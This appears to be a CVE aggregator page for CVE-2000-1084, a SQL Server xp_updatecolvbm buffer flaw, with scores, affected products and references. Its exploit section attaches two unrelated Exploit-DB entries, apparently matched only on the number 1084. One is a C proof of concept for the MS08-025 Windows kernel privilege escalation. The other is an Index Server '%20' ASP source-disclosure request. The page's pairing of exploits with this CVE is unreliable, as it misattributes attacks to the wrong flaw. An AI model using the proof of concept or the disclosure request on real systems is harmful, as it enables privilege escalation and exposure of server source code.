CVE-2000-1084
published 2001-01-09CVE-2000-1084: The xp_updatecolvbm function in SQL Server and Microsoft SQL Server Desktop Engine (MSDE) does not properly restrict the length of a buffer before calling the…
PriorityP422medium4.6CVSS 2.0
AVLACLAuNCPIPAP
EPSS
2.83%
85.0th percentile
The xp_updatecolvbm function in SQL Server and Microsoft SQL Server Desktop Engine (MSDE) does not properly restrict the length of a buffer before calling the srv_paraminfo function in the SQL Server API for Extended Stored Procedures (XP), which allows an attacker to cause a denial of service or execute arbitrary commands, aka the "Extended Stored Procedure Parameter Parsing" vulnerability.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | data_engine | — | — |
| microsoft | data_engine | — | — |
| microsoft | sql_server | — | — |
| microsoft | sql_server | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Windows XP/Vista/2000/2003/2008 Kernel - Usermode Callback Privilege Escalation (MS08-025) (1)
exploitdb·2008-04-08
CVE-2008-1084 Microsoft Windows XP/Vista/2000/2003/2008 Kernel - Usermode Callback Privilege Escalation (MS08-025) (1)
Microsoft Windows XP/Vista/2000/2003/2008 Kernel - Usermode Callback Privilege Escalation (MS08-025) (1)
---
/*
source: https://www.securityfocus.com/bid/28554/info
Microsoft Windows is prone to a local privilege-escalation vulnerability.
The vulnerability resides in the Windows kernel. A locally logged-in user can exploit this issue to gain kernel-level access to the operating system.
*/
#include
#include
int main(int argc,char *argv[])
{
DWORD dwHookAddress = 0x80000000;
printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
printf( "Create by Whitecell's [email protected] 2008/04/10\n" );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
return 0;
}
Exploit-DB
Microsoft Index Server 2.0 - '%20' ASP Source Disclosure
exploitdb·2000-03-31
CVE-2000-0302 Microsoft Index Server 2.0 - '%20' ASP Source Disclosure
Microsoft Index Server 2.0 - '%20' ASP Source Disclosure
---
source: https://www.securityfocus.com/bid/1084/info
Index Server can be used to cause IIS to display the source of .asp and possibly other server-side processed files.
By appending a space (%20) to the end of the filename specified in the 'CiWebHitsFile' variable, and setting 'CiHiliteType' to 'Full' and 'CiRestriction' to 'None', it is possible to retrieve the unprocessed source of the file.
This is possible on any machine with Index Server installed, even those with no normal .htw files, because the virtual file null.htw is stored in memory and the .htw extension is mapped by default to webhits.dll .
Requesting a URL like the following will return the source of default.asp on a vulnerable system:
http://target/null.htw?C
No writeups or analysis indexed.
http://marc.info/?l=bugtraq&m=97570878710037&w=2http://www.securityfocus.com/bid/2039https://docs.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-092http://marc.info/?l=bugtraq&m=97570878710037&w=2http://www.securityfocus.com/bid/2039https://docs.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-092
2001-01-09
Published